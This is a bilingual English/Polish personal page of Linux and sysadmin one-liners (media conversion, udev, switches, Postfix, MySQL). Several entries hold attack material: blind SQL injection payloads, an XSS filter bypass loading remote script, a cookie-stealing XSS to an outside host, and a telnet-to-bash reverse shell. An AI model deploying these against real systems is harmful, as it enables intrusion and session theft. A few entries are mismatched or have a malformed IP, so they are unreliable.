[ENG] How to split audio (sound) from video with mplayer ?
[PL] Jak wyciąć dźwięk z video z użyciem aplikacji mplayer ?
mplayer -vc null -vo null -ao pcm -benchmark mavideo.avi
mplayer -ao pcm file.mp4 -ao pcm:file=a.wav
[2010.01.04]
[ENG] How to merge audio (sound) and video with mplayer ?
[PL] Jak połączyć dźwięk i video z użyciem aplikacji mplayer ?
mencoder -audiofile audio.mp3 video.avi -o video_audio.avi -ovc copy -oac copy
[2009.12.21]
[ENG] How to play movie trailers from apple.com site with mplayer ?
[PL] Jak wyświetlić filmy ze strony apple.com z użyciem aplikacji mplayer ?
( Fix for: Win32 LoadLibrary failed to load: avisynth.dll error in older mplayer version)
mplayer -user-agent "QuickTime/7.6.2" http://movies.apple.com/movies/wb/blabla/blabla-tlr2_h.480.mov
[2009.12.11]
[ENG] How to export x509 certificat to ascii text form ?
[PL] Jak wyeksportowac certyfikat x509 w formie ascii do pliku tekstowego ?
openssl x509 -in /etc/ssl/certs/test.pem -text
[2009.12.10]
[ENG] How to cut some seconds from movie ?
[PL] Jak wyciąc kilka sekund z filmu ?
mencoder -ss 00:00:40 -endpos 00:00:50
[2009.12.07]
[ENG] How to check sort option in imapd ?
[PL] Jak sprawdzić czy imapd obsługuje polecenie SORT ?
nc localhost 143
OK CAPABILITY
[2009.12.04]
[ENG] How to rewrite tcp/udp packets with another source and destination address ?
[PL] Jak przepisać pakiety tcp/udp ze zmienionym adresem źródłowym i docelowym ?
tcpreplay-edit --intf1=eth0 -S 0.0.0.0/0:192.168.5.5/32 -D 0.0.0.0/0:192.168.5.10/32 ./file.pcap
[2009.11.30]
[ENG] How create avi movie from .jpg with mencoder ?
[PL] Jak stworzyć film .avi z plików .jpg z użyciem mencoder ?
mencoder mf://*.jpg -ovc lavc -lavcopts vcodec=msmpeg4v2:vbitrate=800 -o test.avi
[2009.11.29]
[ENG] How to convert flac to mp3 files ?
[PL] Jak skonwertować plik flac do mp3 ?
for file in *.flac; do $(flac -cd "$file" | lame -h - -b 256 ./"${file%.flac}.mp3"); done
[2009.11.19]
[ENG] How to compile .c as a library ?
[PL] Jak skompilować program w .c jako bibliotekę ?
gcc -shared /tmp/libd.c -o /tmp/libd.so
or
gcc -fPIC -c test.c ; gcc -shared -o test.o
[2009.11.18]
[ENG] How to find and delete duplicate files ?
[PL] Jak znaleźć i usunąć duplikaty plików ?
Download FSlint - Run fsling-gui and press: Duplicates / Add (directory) / Find / Select within groups - Select all but first / Delete
[2009.11.17]
[ENG] How to change ethernet card order in PLD TH with udev ?
[PL] Jak zmienić kolejność kart sieciowych w PLD TH z użyciem udev ?
/etc/udev/rules.d/70-persistent-net.rules
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:01:aa:bb:cc:dd", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:02:aa:bb:ee:cc", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"
[2009.11.17]
[ENG] How to read details about device in Linux for udev ?
[PL] Jak odczytać szczegóły na temat urządzenia pod Linuksem dla udev ?
udevinfo -a -p $(udevinfo -q path -n /dev/hda)
udevinfo -a -p /sys/block/hda/
[2009.11.3]
[ENG] How to convert mp4 to mp3 with mplayer and lame ?
[PL] Jak przekonwertować mp4 do mp3 z użyciem mplayer i lame ?
mplayer -ao pcm file.mp4 -ao pcm:file=file.wav
lame -b 256 file.wav file.mp3
[2009.10.26]
[ENG] How to add polish dictionary for OpenOffice 3?
[PL] Jak dodać polski słownik w OpenOffice 3
Tools / Extension Manager / Add / .xlt
Restart openoffice
Tools / options / language settings / writing aids / available language modules - edit
[2009.09.04]
[ENG] How fast get data between two words in perl?
[PL] Jak szybko wybrać dane z pomiędzy dwóch wyrazów za pomocą perl?
perl -ne '$skip=1 if(m/^%PDF/); s:(</body>|</html>)\s*::;print if $skip == 1;' < tmpfile
(from broken .pdf file with HTML at bottom and at the end of file)
[2009.08.31]
[ENG] How to convert movie for vimeo via mencoder?
[PL] Jak przekonwertować film dla vimeo za pomocą mencoder?
mencoder -oac faac -faacopts br=256:quality=1000 -ovc lavc -lavcopts vcodec=mjpeg input.avi -o output.avi
mencoder -vf rotate=1 -oac copy -ovc lavc -lavcopts vcodec=mjpeg input.avi -o output.avi
(with rotate 90' and mirror)
[2009.08.10]
[ENG] How to record dvd video with growiso ?
[PL] Jak nagrać dvd video za pomocą growisofs ?
growisofs -Z /dev/cdr -V WC -dvd-video ./directory
[2009.08.03]
[ENG] Fast directory encryption with tar, openssl, dd ?
[PL] Dekodowanie Base64 w perlu ?
echo Zm9vCg== | perl -MMIME::Base64 -ne 'print decode_base64($_)'
[2009.07.12]
[ENG] Basic configuration for microdc2 ?
[PL] Podstawowa konfiguracja dla microdc2 ?
set nick [xxxx]kaneda
set tag <++ V:0.674,M:P,H:5/25/4,S:3>
share /mnt/share
connect 10.0.0.1
[2009.06.14]
[ENG] How to automaticly rotate picture with EXIF data ?
[PL] Jak automatycznie obrócić zdjęcie wykorzystując dane EXIF ?
jhead -autorot *.jpg
[2009.05.29]
[ENG] How to display ESP protocol (from ipsec) in tcpdump ?
[PL] Jak wyświetlić protokół ESP (z ipsec) sniferze tcpdump ?
ip proto 50
ip proto ESP (LOWER CASE / Z DUŻYCH LITER)
[2009.04.29]
[ENG] How to install Adobe Air on Slackware (12.1) ?
[PL] Jak zainstalować Adobe Air na Slackware (12.1) ?
Download Adobe Air SDK - http://www.adobe.com/products/air/tools/sdk/
cd /opt/
mkdir air-sdk
cd air-sdk/
mv ~/AdobeAIRSDK.tbz2 .
tar jxvf AdobeAIRSDK.tbz2
cd ..
mkdir air-apps
wget http://bi.sciagnij.pl/0/0/e_deklaracjedesktop.air
mkdir air-apps/e_deklaracjedesktop
mv e_deklaracjedesktop.air air-apps/e_deklaracjedesktop/
cd air-apps/e_deklaracjedesktop/
unzip e_deklaracjedesktop.air
e_deklaracje wymagają zainstalowanego Adobe Readera więc dodatkowo warto zainstalować:
./AdbeRdr9.1.0-1_i486linux_enu.bin
Crashlog has been dumped in /tmp/airCrashLogs/xxxx_xxxx_xxxxxx
brakuje ścieżki do Adobe Readera - tymczasowo możesz rozwiązać to na ten sposób:
[ENG] How to automaticly create partition with fdisk ?
[PL] Jak automatycznie założyć partycję za pomocą fdisk ?
echo -e "d 1\nn\np\n1\n1\n\na\n1\nw\nq\n" | fdisk /dev/hdb
[2009.01.28]
[ENG] How to redir ports via ssh tunel ?
[PL] Jak przekierować porty za pomocą tunelu ssh ?
ssh login@domain.pl -R 11111:10.10.10.111:80 -R 11112:10.10.10.1112:80 -Cv2
[2009.01.15]
[ENG] How to display/list all letters in perl ?
[PL] Jak wyświetlić listę liter w perlu ?
perl -e 'print(chr($_)." ") foreach(97..122)'
[2008.12.15]
[ENG] How to change interface counter statistics on 3com 4500 switch ?
[PL] Jak zmienić licznik do statystyk interfejsu na switchu 3com 4500 ?
interface ethernet1/0/1
flow-interval 10
[2008.09.19]
[ENG] How to send NOOP in ssh client connection for keep connection?
[PL] Jak wysyłać pakiety NOOP w kliencie ssh w celu podtrzymania połączenia?
ssh -o ServerAliveInterval=120
[2008.09.09]
[ENG] How to print null byte from bash via perl (to file)?
[PL] Jak wyświetlić null byte z basha za pomocą perla (do pliku)?
perl -e 'print "a\x00b"' >> a.html
[2008.09.08]
[ENG] Z-Star Microelectronics Corp (Vega USB 2.0 Camera Vimicro Corp.) USB Camera with Linux Slackware ?
[PL] ?
Module: uvcvideo
[2008.08.05]
[ENG] How to convert IP to hash hex for tc filter?
[PL] Jak przekonwertować IP do hash hex dla tc filter?
IP_ADDR="192.168.1.1"
HEXIP=`printf '%02X' ${IP_ADDR//./ }`
tc filter show dev $ETH parent 1: | grep -iw $HEXIP -B1 | head -n1
tc filter show dev $ETH parent ffff: | grep -iw $HEXIP -B1 | head -n1
[2008.07.12]
[ENG] Simple blind sql injection with benchmark and union?
[PL] Prosty blind sql injection z benchmark i union?
select a from testtable where a=10 union select if(substring(@@version,1,1)=char(53),BENCHMARK(5000000,md5(1)),null);
select * from testtable where a=10 union select if(substring(@@version,1,1)=char(53),BENCHMARK(5000000,md5(1)),null),null,null,null,null;
[2008.06.17]
[ENG] How to edit SideBar in MediaWiki [1.3 SVN version]?
[PL] Jak edytować SideBar w MediaWiki [wersja 1.3 SVN]?
http://yoursite.com/mediawiki/index.php?title=MediaWiki:Sidebar
[EN] Press: Create
[PL] Wciśnij: Utwórz
[2008.06.16]
[ENG] How to create animated gif from images in Linux console?
[PL] Jak stworzyć animowany gif z obrazków pod konsolą w Linuksie?
convert -delay 50 -loop 0 *.jpg animation.gif
[2008.06.06]
[PL] Jak zbudować kernel na PLD?
(first, sometimes: cvs -z3 -d:pserver:cvs@cvs.pld-linux.org:/cvsroot co SPECS ; cvs -z3 -d:pserver:cvs@cvs.pld-linux.org:/cvsroot co packages )
cd rpm/SPECS/
cvs up kernel.spec
cvs status -v kernel.spec|grep 2.6.24
./builder -bb -v ./kernel.spec -r LINUX_2_6_24
[2008.05.23]
[ENG] How to convert .raw to .wav file from RTP protocol?
[PL] Jak przekonwertować plik .raw do .wav z protokołu RTP?
sox -c 1 -r 8000 -A -t raw file.raw file.wav
[2008.05.23]
[ENG] How to change site dynamicly via innerHTML?
[PL] Jak zmienić stronę dynamicznie za pomocą innerHTML ?
document.getElementById('divname').innerHTML = 'new_data';
[2008.05.11]
[ENG] How to convert movie for youtube via mencoder?
[PL] Jak przekonwertować film dla youtube za pomocą mencoder?
mencoder ./movie.mov -oac pcm -o test.avi -ovc lavc -lavcopts vcodec=msmpeg4v2:vbitrate=800
[2008.05.11]
[ENG] How to dont numerate page on first page in OpenOffice?
[PL] Jak nie numerować pierwszej strony w OpenOffice?
"prawym na 1 stronie -> akapit -> przepływ tekstu -> zaznaczyć 'podział' i 'ze stylem strony' typ: 'strona' a pod spodem 'pierwsza strona' potem na drugiej stronie wstawia się stopkę
(domyślną) i nr oczywiście na gotowym dok też to działa"
pozniej w fornym menu WSTAW-> STOPKA i dla pierwszej strony wybieramy FIRST PAGE a dla reszty DEFAULT i wstawiamy odpowiednio juz normalnie numeracje
[2008.05.02]
[ENG] Most useful date command use
[PL] Najpopularniejsze użycie komendy date
date +'%Y%m%d-%H%M'
[2008.04.25]
[ENG] Count commands from history in bash. [http://planet.pplug.e-poz.net/]
history | awk '{a[$2]++ } END{for(i in a){print a[i] " " i}}'|sort -rn|head
[2008.03.19]
[ENG] Attempting to create a too large file system
[PL] Jak przebudować bazę rpm w PLD ?
cp -r /var/lib/rpm /root/ #backup
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
[2008.02.28]
[ENG] How to add new window manager in KDM ?
[PL] Jak dodać nowego window managera do KDM ?
Create config file in:
/usr/share/apps/kdm/sessions/
[2008.02.04]
[ENG] How to disable ctrl+alt+backspace for reset X window ?
[PL] Jak wyłączyć możliwość resetowania X window za pomoca ctrl+alt+backspace ?
Add to X config file [xorg.conf]:
Section "Serverflags"
Option "DontZap" "yes"
EndSection
[2008.01.21]
[ENG] How to speedup [faster loading] kernel loading from lilo ?
[PL] Jak przyśpieszyć ładowanie kernela z lilo ?
compact
[2008.01.07]
[ENG] How to segregate/move many files to directories (from one directory) ?
[PL] Jak posegregować/przesunąć dużą ilość plików (z jednym katalogu) ?
H=`/bin/ls | wc -l`
for i in `seq 1000 1000 $H`; do mkdir $i ; for plik in `head -n$i /tmp/lista|tail -n1000` ; do mv "$plik" $i ; done ; echo $i; done
[2008.01.04]
[ENG] How to clear interface counter on 3com 4500 switch ?
[PL] Jak wyczyścić liczniki interfejsu na switchu 3com 4500 ?
reset counter interface ethernet1/0/1
[ENG] How to unblock telnet access? [after auto switch block]
[PL] Jak odblokować dostęp via telnet? [po zablokowaniu przez switch]
reset password-control blacklist
reset password-control history-record
[ENG] How to increase number of screen lines without scroll on 3com 4500 switch ?
[PL] Jak zwiększyć ilość linii na ekranie bez przewijania na switchu 3com 4500 ?
Serial connection:
[4500]user-interface aux 0 7
[4500-ui-aux0-7]screen-length 500
[ENG] How to disable dhcp client on 3com 4500 switch ?
[PL] Jak wyłączyć dhcp klienta na switchu 3com 4500 ?
[4500]int Vlan-interface 1
[4500-Vlan-interface1]undo ip address dhcp-alloc
[2007.12.14]
[ENG] How to disable TRACE method in Apache ?
[PL] Jak wyłączyć metodę TRACE w Apache ?
Version [version]:
>= 1.3.34
>= 2.0.55
TraceEnable Off
[2007.12.14]
[ENG] How to export/extract attachment from mbox ?
[PL] Jak wyeksportować załączniki z pliku mbox ?
$ls
mbox2maildir [google for that]
nep2 [mbox]
nep3 [mbox]
#!/bin/bash
for i in `seq 2 3`; do
./mbox2maildir ./nep${i} ./$i
mv ./$i/cur/* ./$i/new/
for ii in `find ./$i -type f`; do cat $ii|metamail -x -w ; done
rm -rf $i
done
echo "Results in files in /tmp/"
[2007.12.13]
[ENG] How to check if domain is cached in dns ?
[PL] Jak sprawdzic czy domena jest w cache dns ?
dig @dns.atman.pl kaneda.bohater.net A +norecurse|grep "ANSWER:"
ANSWER = 0 -> not cached [nie ma w cache]
[2007.12.10]
[ENG] How compile just few kernel modules ?
[PL] Jak skompilować kilka modułow kernela ?
make modules SUBDIRS=drivers/char/tpm
make modules_install SUBDIRS=drivers/char/tpm
[2007.11.02]
[ENG] How to cut characters in php [with whitelist] ?
[PL] Jak wyciąć znaki w php [z białą listą] ?
preg_replace("/[^a-zA-Z-_.]/", "", $string);
^ - NOT
[2007.10.02]
[ENG] How we can generate (and crack) mysql [ => 4.1 version] passwords ?
[PL] Jak możemy wygenerowac (i zcrackować) hasło mysql [wersji => 4.1] ?
#!/usr/bin/perl
use strict;
use vars qw($VERSION @ISA @EXPORT_OK);
use Digest::SHA1 qw(sha1 sha1_hex);
print uc(sha1_hex(sha1('password')));
or From Cpan: Crypt::MySQL - emulate MySQL PASSWORD() function.
[2007.10.02]
[PL] Jak dodać przyjazne menu do screen'a?
Put this line to /etc/screenrc or ~/.screenrc
caption always "%{= kw}%-w%{= BW}%n %t%{-}%+w %-= %l - %LD, %d.%m - %c"
[2007.07.30]
[ENG] Some Eterm/aterm/rxvt options
[PL] Kilka opcji Eterm/aterm/rxvt ?
Eterm --font -*-*-medium-r-*-*-15-*-*-75-*-*-iso8859-2 --pointer-color yellow -O --shade 79 -L 3000
Eterm --buttonbar no --font -*-lucidatypewriter-*-*-*-*-16-*-*-*-*-*-iso8859-2 --pointer-color yellow -O --shade 79 -L 5000
aterm --font -*-lucidatypewriter-*-*-*-*-17-*-*-*-*-*-iso8859-2 -colorBD white -tr -sh 20 -cr green -ls -fg grey65 -sr -sl 5000 -C -color7 Grey65 -vb
rxvt -bg black -cr green -fg white -C -fn xterm -fn -*-*-medium-r-*-*-15-*-*-75-*-*-iso8859-2
[2007.07.20]
[ENG] How to fix a^@b^@c coding
[PL] Jak naprawić kodowanie a^@b^c ?
cat -A file |sed s/"\^@"//g|sed s/"\^M\\$"//g
[2007.07.08]
[ENG] How to count characters in file in bash ?
[PL] Jak policzyć ilość znaków w pliku w bashu ?
awk '{c+=gsub(s,s)}END{print c}' s='a' /etc/passwd
grep -w "a" /etc/passwd|wc -w
[2007.06.09]
[PL] ?
Uncomment #application/vnd.cups-postscript application/vnd.cups-raster 100 pstoraster
in /etc/cups/mime.convs and /etc/rc.d/rc.cups restart
[2007.06.19]
[ENG] How to run something in noexec partition ?
[PL] ? Jak uruchomić coś na partycji noexec ?
perl /tmp/file.pl
/lib/ld-linux.so.2 /tmp/myexec
LD_PRELOAD=/tmp/foo.so ls
[2007.06.09]
[ENG] How to display IP addresses from AS number ?
[PL] Jak wyświetlić adresy IP dla danego numeru AS ?
show ip bgp regexp _AS$
[2007.06]
[ENG] On Debian [4.0] postfix with saslauthd problem (warning: SASL authentication failure: cannot connect to saslauthd server: No such file or directory)
[PL] W Debian [4.0] problem z postfixem i saslauthd.
Postfix its jailed and you must change directory for saslauthd to postfix directory.
Add to file: /etc/init.d/saslauthd
DAEMON_ARGS="-m /var/spool/postfix/var/run/saslauthd"
mkdir /var/spool/postfix/var/
mkdir /var/spool/postfix/var/run/
mkdir /var/spool/postfix/var/run/saslauthd
chown -R root:sasl /var/spool/postfix/var/
Add user postfix to group sasl.
Restart saslauthd and postfix.
[2007.06.01]
[ENG] How to fix immediately quota display on DirectAdmin ?
[PL] Jak natychmiastowo naprawić wyświetlanie quoty w DirectAdmin ?
echo "action=tally&value=all" >> /usr/local/directadmin/data/task.queue
[2007.05.26]
[ENG] How to use variable name in variable in bash ?
[PL] Jak użyć nazwy zmiennej jako zmiennej w bashu ?
one="maria zofia mariola"
maria="a1 a2"
for i in $one ; do
eval cos=\$$i
for z in $cos ; do
echo "$z"
done
done
[2007.05]
[ENG] How to check uptime on mikrotik ?
[PL] Jak sprawdzić uptime na mikrotik`u ?
system resource print
[2007.05]
[ENG]What da packet it is : 13:34:13.295752 M xx:xx:xx:xx:xx:xx ethertype Unknown (0x8808), length 62: 0x0000: 0001 0000 0000 8808 0001 0000 0000 8808 .
[PL]Co to za pakiet : 13:34:13.295752 M xx:xx:xx:xx:xx:xx ethertype Unknown (0x8808), length 62: 0x0000: 0001 0000 0000 8808 0001 0000 0000 8808 .
Flow control.
[2007.05.07]
[ENG] libpcap_stuff.c:20:21: net/bpf.h: No such file or directory.
[PL] libpcap_stuff.c:20:21: net/bpf.h: No such file or directory.
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
[2007.04.16]
[ENG] How to display syn,fin,rst packets in tcpdump ?
[PL] Jak wyświetlić pakiety typu syn,fin,rst w tcpdump ?
tcp\[13\] == 2
From tcpdump 3.7.1:
tcp\[tcpflags\]\=tcp-syn
(tcp-fin, tcp-syn, tcp-rst, tcp-push, tcp-ack, tcp-urg).
[2007.03.23]
[PL] Jak sprawdzić wartość ttl dla domeny ?
$host -t SOA google.com
google.com SOA ns1.google.com. dns-admin.google.com. 2007031200 7200 1800 1209600 300
2007031200 - serial
7200 - refresh
1800 - retry refresh
1209600 - expire
300 - min TTL
[2007.03.10]
[ENG] How select from PostgreSQL some interval time ?
[PL] Jak za pomocą SELECT wyciagnąc z PostgreSQL przedział czasowy
select tstamp from samples where tstamp > CURRENT_TIMESTAMP-'1 days'::interval;
[2007.03.07]
[ENG] Some sql injection ' bypass.
[PL] Przykładowy sposób na ominięcie ' w SQL injection.
SELECT * FROM login WHERE username = CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(39));
[2007.02]
[ENG] Another XSS bypass filter [I found it on some page]
[PL] Inna metoda ominięcia filtra XSS [znaleziona na jakiejś stronie]
<SCRIPT/ src=//kaneda.bohater.net/xss.js></SCRIPT>
[2007.01]
[ENG] Bus speed.
[PL] Prędkości szyn.
PCI 2.2 (264 Mbps), USB 2.0 (480Mbps), CardBus (1056 Mbps), PCI-X (1064 Mbps), Express Card (2.5 Gbps) and PCI-X 2.0 (4.3 Gbps).
[2006.12.24]
[ENG] How to Real check if host is down/up [icmp reply] by ping command ? [without grep, awk and other ;]
[PL] Jak na prawdę sprawdzić czy host żyje/nie żyje [odpowiedź icmp] za pomocą polecenia ping ? [bez grep, awk ;]
ping -qc 1 192.168.1.1 >/dev/null 2>&1 && echo Up || echo Down
[2006.11.30]
[ENG] List all Update servers Avast AntiVirus
[PL] Lista wszystkich serwerów aktualizacji dla Avast Antywirus
http://files.avast.com/iavs4x/servers.def
[2006.11.30]
[ENG] List software web admins for hosting servers
[PL] Lista oprogramowania web admin dla hostingów serwerowych
[not free] cpanel, direct admin, plesk, ensim, confixx
[free] vhcs, web-cp
[2006.11.30]
[ENG] Which function in php are bad and should be filtered ?
[PL] Które funkcje w php są złe i powinny zostać filtrowane ?
SecFilterSelective THE_REQUEST "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\("
[2006.11.30]
[ENG] Where in Poland we can buy Certificates ?
[PL] Gdzie w Polsce kupimy Certyfikaty ?
sigillum, unizeto, signet
[2006.11.30]
[ENG] How to discover one of netcut attack?
[PL] Jak wykryć jeden z ataków typu netcut?
Systematycznie sprawdzac czy ilosc adresow MAC w tablicy arpow o takiej samej wartości dla wielu adresów IP nie jest większa niż ileś tam gdzie ileś tam to około 4 juz nadto
Checking count that same MAC address for many ip address. When count that same MACs are more that few its probably netcut attack netcut_finder.sh
[2006.11.12]
[ENG] How to fix home and end key with aterm ?
[PL] Jak naprawić klawisze home i end z aterm em ?
/etc/inputrc
"\e[7~": beginning-of-line
"\e[8~": end-of-line
[2006.11.12]
[ENG] How to add text to picture [image] ?
[PL] Jak dodać tekst do obrazka [zdjęcia] ?
convert ./from.jpg -fill white -box '#00000080' -gravity South -font Helvetica-Bold -pointsize 55 -annotate +0+5 texttext to.jpg
for plik in `ls`; do convert $plik -fill white -box '#00000080' -gravity South -font Helvetica-Bold -pointsize 55 -annotate +0+5 texttext tmp.jpg ; mv -f tmp.jpg $plik ; done
[2006.11.07]
[ENG] How generate password for useradd -p option ?
[PL] Jak wygenerować hasło dla opcji w komendzie useradd -p ?
useradd test -p `openssl passwd -1 test123`
[2006.10.17]
[ENG] How to recover mysql password ?
[PL] Jak odzyskać hasło do mysql ?
Run mysqld --skip-grant-tables [this run mysqld without check grant tables and this gives all users FULL ACCESS to all tables! and You can update mysql table with new password]
[ sometimes before run mysqld, You should do : su mysql ]
Uruchom mysqld --skip-grant-tables [uruchomi to mysql bez sprawdzania tablic grant oraz nada wszystkim podłączonym użytkownikom pełny dostęp do tabel ! Możesz wykonac sql update na tabeli mysql z nowym haslem
[ czasami przed uruchomieniem mysql, wykonaj: su mysql ]
update user set password=password('secret123') where user='mysql';
[2006.10.13]
[ENG] How to add new user to samba ?
[PL] Jak dodać nowego użytkownika do samby ?
pdbedit -a -u user
[2006.10.]
[ENG] How to change background in slides in presentation in openoffice impress ?
[PL] Jak zmienic tło w slajdach w prezentacji w openoffice impress ?
Format/Obszar/Mapy bitowe/Importuj - wybierz plik, OK/OK/OK i Format/Strona/Tło/Mapy bitowe i wybierz dodaną mapę bitową
Format/Area/Bitmaps/Import - choose file, OK/OK/OK and Format/Page/Background/Bitmap and choose your file.
[2006.10.10]
[ENG] How to build rpm in PLD from special tag from CVS via builder ?
[PL] Jak zbudować rpm w PLD ze specjalnie otagowanego CVS za pomocą builder ?
./builder -bb -r auto-ac-metamail-2_7_52-2 metamail.spec
[where auto-ac-metamail-2_7_52-2 is a tag from CVS]
[gdzie auto-ac-metamail-2_7_52-2 jest tagiem z CVS]
[2006.10.08]
[ENG] How to run application via DISPLAY from another user via su on localhost ?
[PL] Jak uruchomic program via DISPLAY z inneg usera via su na localhoscie ?
From one user:
if [ "$DISPLAY" != "" ]; then
if [ ! -d "/tmp/x11" ]; then
mkdir /tmp/x11 &>/dev/null
fi
xauth extract /tmp/x11/xauth :0
fi
From another:
if [ "$DISPLAY" != "" ]; then
xauth merge /tmp/x11/xauth
rm -f /tmp/x11/xauth
fi
[2006.09.14]
How to compile via gcc with debug symbols ?
Jak skompilowa za pomoc gcc z symbolami do debugowania ?
gcc -g
[2006.08.19]
[ENG] How to burn data on DVD via growisofs [and cdrecord] ?
[PL] Jak wypalić dane na DVD za pomocą growisofs [i cdrecord] ?
growisofs --iso-level=3 -J -R -Z /dev/scd0 ./directory
growisofs -dvd-compat -Z /dev/scd0=image.iso
[2006.08.14]
[ENG] How to add new font to fpdf ?
1. Install ttf2pt1 [ http://ttf2pt1.sourceforge.net/ ]
2. ./ttf2pt1 -a ./arialbd.ttf arialbd [this generate arialbd.afm]
3. From fpdf package go to font/makefont/ directory
4. Copy there arialbd.ttf and arialbd.afm
5. Add to makefont.php line [before last "?>"] : MakeFont('./arialbd.ttf','./arialbd.afm','iso-8859-2');
6. Run makefont.php from php server or from /usr/bin/php or smthg
7. This generate arialbd.php and arialbd.z
8. Copy this TWO files into Your fpdf/font directory and from now You can use it
[PL] Jak dodać nowe fonty do fpdf ?
1. Zainstaluj ttf2pt1 [ http://ttf2pt1.sourceforge.net/ ]
2. ./ttf2pt1 -a ./arialbd.ttf arialbd [to wygeneruje arialbd.afm]
3. Z pakietu fpdf przejdz do katalogu font/makefont/
4. Skopiuj tam arialbd.ttf i arialbd.afm
5. Dodaj do makefont.php linijke [przed ostatnim "?>"] : MakeFont('./arialbd.ttf','./arialbd.afm','iso-8859-2');
6. Uruchom makefont.php z serwera php lub /usr/bin/php itp
7. To wygeneruje arialbd.php i arialbd.z
8. Skopiuj OBYDWA pliki do swojego katalogu fpdf/font i od teraz możesz ich używać
[2006.08.11]
[EN] How I can login to adsense from google.com from text console ?
[PL] Jak mogę zalogować się do adsense z google.com z konsoli tekstowej ?
[EN] It should display link to logged session.
[PL] To powinno wyświetlić link do zalogowanej już sesji.
[2006.08.03]
[ENG] How to compile postfix with cyrus sasl ?
[PL] Jak skompilować postfixa z cyrus sasl ?
make makefiles CCARGS="-DUSE_SASL_AUTH -DUSE_CYRUS_SASL -I/usr/include/sasl" AUXLIBS="-L/usr/lib -lsasl2"
make
New Postfix: -DUSE_CYRUS_SASL
[2006.06.27]
[ENG] How to enable reboot after Linux kernel panic ?
[PL] Jak aktywować reboot po wystąpieniu kernel panic ?
#sysctl -w kernel.panic X
[EN] where X - seconds timeout (0 - disable)
[PL] gdzie X - ilość sekund po ilu od wykrycia panica nastąpi reboot (0 - wyłączone)
[2006.06.19]
[ENG] How you can make screenshot in Linux ?
[PL] Jak zrobić zrzut obrazu pod Linux em ?
1. import -window root file.jpg
2. run Gimp - Choose from Main Menu : File / Acquire / Screenshot
3. run xv - Right Mouse Click and Choose : grab
[2006.06.06] How to enable transparent menu in Opera ?
Not just in Opera ;], Go to KDE, Control Center, Display and motives, Style, Effects - Choose : menu - transparent
[2006.06.02] How install Logitech Express Quickcam on Linux ?
Find : spca5xxx module to kernel [2.4 or 2.6] and insmod it.
mplayer -vo x11 tv:// -tv driver=v4l:width=352:height=288:outfmt=yv12:device=/dev/video0
You can use it with mencoder too...
[2006.06.02] Why my Opera dosnt play sounds from IceWm [or KDE] in Slackware ?
Disable from KDE [Sound System Server]
Add user to group audio in /etc/group
[2006.06.1] Why - for i in `seq 1 10 `; do command & ; done - dosnt work ?
Because: for i in `seq 1 10 `; do command & done
[2006.05.28] Regexp for check ip for php
if (preg_match("^\b((25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)\.){3}(25[0-5]|2[0-4]\d|[01]\d\d|\d?\d)\b$^", "255.255.255.21")) {
[2006.05.23] How to enable tcp listen in Xorg with xkdm ?
Edit : /opt/kde/share/config/kdm/kdmrc
Change to: #ServerArgsLocal=-nolisten tcp
[2006.05.21] Why "time" command has options with full path but no options without full path ?
/usr/bin/time --help
$/usr/bin/time --help
Usage: /usr/bin/time [-apvV] [-f format] [-o file] [--append] [--verbose]
[--portability] [--format=format] [--output=file] [--version]
[--help] command [arg...]
$time --help
-bash: --help: command not found
real 0m0.001s
user 0m0.000s
sys 0m0.000s
It look like every shell [when You run time without full path] running own time command from system [probably kernel]
[2006.05.17] [BASH] How move data from stderr to stdout ?
2&>1
[2006.05.16] What is the maximum length [characters] chain in iptables ?
28
[you can add bigger chain but you cant made -j tothislongchain
UPGRADE: Fixed in iptables 1.3.5
[2006.04.26] [Squid] WARNING! Your cache is running out of file descriptors [kernel 2.4]
#ulimit -n 8192
/usr/include/linux/limits.h - change NR_OPEN to 8192
/usr/include/bits/typesizes.h - change __FD_SETSIZE to 8192
rebuild squid with:
./configure --with-maxfd=8192 ...
[BASH] How to check is variable integer or string in bash ?
[mysql] How to write data from MySQL to file ?
select * from user into outfile '/tmp/test';
How to enable saslauthd...
echo "pwcheck_method: saslauthd" > /usr/lib/sasl2/smtpd.conf
saslauthd -a shadow
[postfix restart]
How to remove Nvidia logo from X org server ?
File: /etc/X11/xorg.conf
Section "Device"
Identifier "geforce"
Driver "nvidia"
Option "NoLogo" "1" # removes nVidia boot logo
Netfilter packet traversal
How to connect to pop3 with SSL
openssl s_client -connect pop.gmail.com:995
Why XSS is bad
<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script>
<script>alert('XSS');</script>
How change library dir search patch
export LD_LIBRARY_PATH="/tmp"
[mysql] How add mysql user/database from console...
mysqladmin -u mysql -p create database
[on some Distro: mysqladmin -u root -p create database
GRANT ALL PRIVILEGES ON database.* TO user@domain IDENTIFIED BY 'pass' WITH GRANT OPTION;
[domain - '%' - for all / localhost or other... ]
flush privileges;
Transparent in mc
~/.mc/ini - You must add:
[Colors]
base_color=normal=lightgray,default:executable=green,default:selected=white,default:marked=darkyellow,default:directory=default,default:link=default, default:device=default,default:special=default,default:stalledink=brightred,default:editnormal=lightgray,default:editbold=default,lightgreen ...
How to enable php logging just inside one php script?
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
How to increase max ip_conntrack to more than 65535
modprobe ip_conntrack hashsize=32503
How write to file some streaming media like mms, realplayer etc.
mplayer -dumpstream mms://
How to disable packet forwarding from sysctl
sysctl -w net.ipv4.ip_forward=0
How to run bash from telnet client [on remote side]:
We must run 2 netcats:
nc -l -n -v -p 2001
nc -l -n -v -p 2002
And on another side:
/bin/telnet $OURIP 2000 | /bin/bash | /bin/telnet $OURIP 2001
How to log packets with some string via iptables ?
iptables -A FORWARD -m string --string asdffdaa -j LOG
Then You must configure You syslog daemon to catch info from iptables.
For syslog-ng.conf its:
destination iptables { file("/var/log/iptables"); };
filter f_iptables { facility(kern) and match("IN=[A-Za-z0-9]* OUT=[A-Za-z0-9]*"); };
log { source(src); filter(f_iptables); destination(iptables); };
How to change all files in dir to one size ?
